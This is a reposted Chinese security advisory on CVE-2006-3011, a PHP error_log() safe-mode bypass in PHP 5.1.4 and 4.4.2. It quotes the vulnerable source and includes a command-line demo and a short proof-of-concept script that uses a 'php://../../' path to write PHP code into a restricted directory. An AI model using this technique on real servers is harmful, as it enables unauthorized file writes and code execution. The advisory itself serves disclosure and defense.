PHP error_log()安全模式限制绕过漏洞

2008-04-09 04:17:04来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

PHP error_log()安全模式限制绕过漏洞

发布日期:2006-06-26
更新日期:2006-06-26

受影响系统:
PHP PHP 5.1.4
PHP PHP 4.4.2
描述:
BUGTRAQ ID: 18645
CVE(CAN) ID: CVE-2006-3011

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的error_log()函数中存在安全模式限制绕过漏洞:

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */
{
#if HAVE_SENDMAIL
if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
return FAILURE;
}
#else
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
return FAILURE;
#endif
}
break;

case 2: /*send to an address */
php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
return FAILURE;
break;

case 3: /*save to a file */
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERROR
S, NULL);
if (!stream)
return FAILURE;
php_stream_write(stream, message, strlen(message));
php_stream_close(stream);
break;

default:
php_log_err(message TSRMLS_CC);
break;
}
return SUCCESS;

- -2013-2050---

在选项3中:

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS,
NULL);
- -2038 line---

漏洞存在于php_stream_open_wrapper()。如果用户提供了“prefix://../../”的话,IGNORE_URL就会关闭safe_mode。

- -示例---

cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php"
);'

Warning: error_log(): SAFE MODE Restriction in effect. The script whose uid is 0 is not allowed to a
ccess /www/temp owned by uid
80 in Command line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on
line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp
/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r-- 1 cxib www 16 Jun 11 17:47 /www/temp/sr.php
cxib#

拥有加载任意PHP代码或指定error_log()函数调用参数权限的用户可以利用这个漏洞从目标系统读取或写入受限文件。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)

链接:http://www.securitytracker.com/alerts/2006/Jun/1016377.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:CrisoftRicette cookbook.php远程文件包含漏洞

下一篇:PunBB本地文件包含漏洞